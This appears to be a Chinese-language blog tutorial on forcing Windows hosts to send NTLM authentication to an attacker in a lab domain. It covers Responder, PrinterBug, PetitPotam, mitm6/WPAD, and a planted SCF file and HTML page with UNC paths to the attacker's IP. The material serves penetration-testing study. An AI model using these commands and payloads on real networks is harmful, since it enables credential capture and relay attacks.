ntlm 攻击引诱

ntlm 攻击原理可见:域渗透:ntlm relay攻击实验及攻击流程深度解析_内网渗透测试:ntlm relay攻击分析-优快云博客

  • 域控机器账户:WIN-0V0GAORDC17

  • 域控 ip:192.168.72.163

  • 攻击者机器 kali 地址:192.168.72.162

监听内网
python2 ./Responder.py -I eth0 -f -v

访问 smb 协议的 ntlm 认证

访问文件系统

 

打印机漏洞

项目地址:krbrelayx/printerbug.py at master · dirkjanm/krbrelayx · GitHub

python3 printerbug.py hacker/deandean:p-0p-0p-0p-0@192.168.72.163 192.168.72.162
​
这样目标机器账户(192.168.72.163)向攻击者(192.168.72.162)发送 ntlm 身份验证访问 smb 服务


PetitPotam漏洞

项目地址:PetitPotam/PetitPotam.py at main · topotam/PetitPotam · GitHub

攻击者使用 \pipe\lsarpc 去请求目标机器进行数据加密维护,目标机器会触发 EfsRpcOpenFileRaw 函数去加密维护与 FileName 参数对应的文件。EfsRpcOpenFileRaw 函数中的参数 FileName 参数可以是 unc 路径,也就是说,当提供的 FileName 为 \IP\C$ 时,目标机器会访问 IP 这台机器的 smb 服务,并使用 NTLM 身份验证。

# 触发 192.168.72.163 机器访问 192.168.72.162 的 smb 服务。
python3 Petitpotam.py -d hacker.com -u deandean -p p-0p-0p-0p-0 192.168.72.162 192.168.72.163

图标中的 unc 路径

每当访问或刷新这个文件夹所在路径时,操作系统会发送 smb 请求来获取图标资源。


scf 文件中的 unc 路径
[Shell]
Command=2
IconFile=\\192.168.72.162\test\test.ico
[Taskbar]
Command=ToggleDesktop

当打开 scf 文件所在的路径时,操作系统会发送 smb 请求来获取图标资源。由下图可以看到,如果目标文件夹 ( TEST )不存在,将会一直发送 smb 请求。

网页中的 unc 路径
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    欢迎,您是第1个登录本站的。再次欢迎!</br>再次欢迎!
</body>
<script src="\\192.168.72.162\test"></script>
</html>

访问 HTTP 协议的 ntlm 认证

wpad(Web 代理自动发现协议)

代理自动配置: WPAD 用于自动配置客户端设备的代理设置,特别是在企业环境中,通过代理服务器统一管理和过滤网络流量。

简化网络配置: 管理员只需在网络上发布一份代理配置文件,客户端设备便可根据配置自动使用正确的代理,无需逐台设备手动配置。

用来查找 PAC(Proxy Auto-Config)文件的协议,通过 DHCP、DNS、LLMNR、NBNS 等协议来查找局域网中存放 PAC 文件的主机,然后局域网中的主机通过 PAC 文件中指定的代理访问互联网,在请求 WPAD 的过程中,如果服务端要求 401 认证,部分浏览器和应用将会自动用当前用户凭证进行认证。而由于浏览器默认是自动检测设置 PAC 文件,因此造成了 WPAD 攻击。

浏览器查询 PAC 文件的顺序如下:

  • DHCP 服务器

  • 查询 WPAD 主机的 IP

    • 本地 hosts 文件(%windir%\System32\drivers\etc\hosts)

    • DNS 缓存/DNS 服务器

    • 链路本地多播名称解析(LLMNR)和 NetBIOS 名称服务(NBTNS)

PAC 文件的格式如下:
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}

攻击机

python3 mitm6.py -i eth0 -d hacker.com
​
当机器重启时,  器的ipv6,如下第一个ipv6是攻击机器,ipv4是域控

攻击机伪装wpad服务器,下发wpad.dat攻击
​
python2 Responder.py -I eth0 -wrfvF
​
然后目标机器访问网页

测试如下:

  • chrome 浏览器打开就能触发 NTLM 认证。

  • edge 浏览器打开后再关闭才能触发 NTLM 认证。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值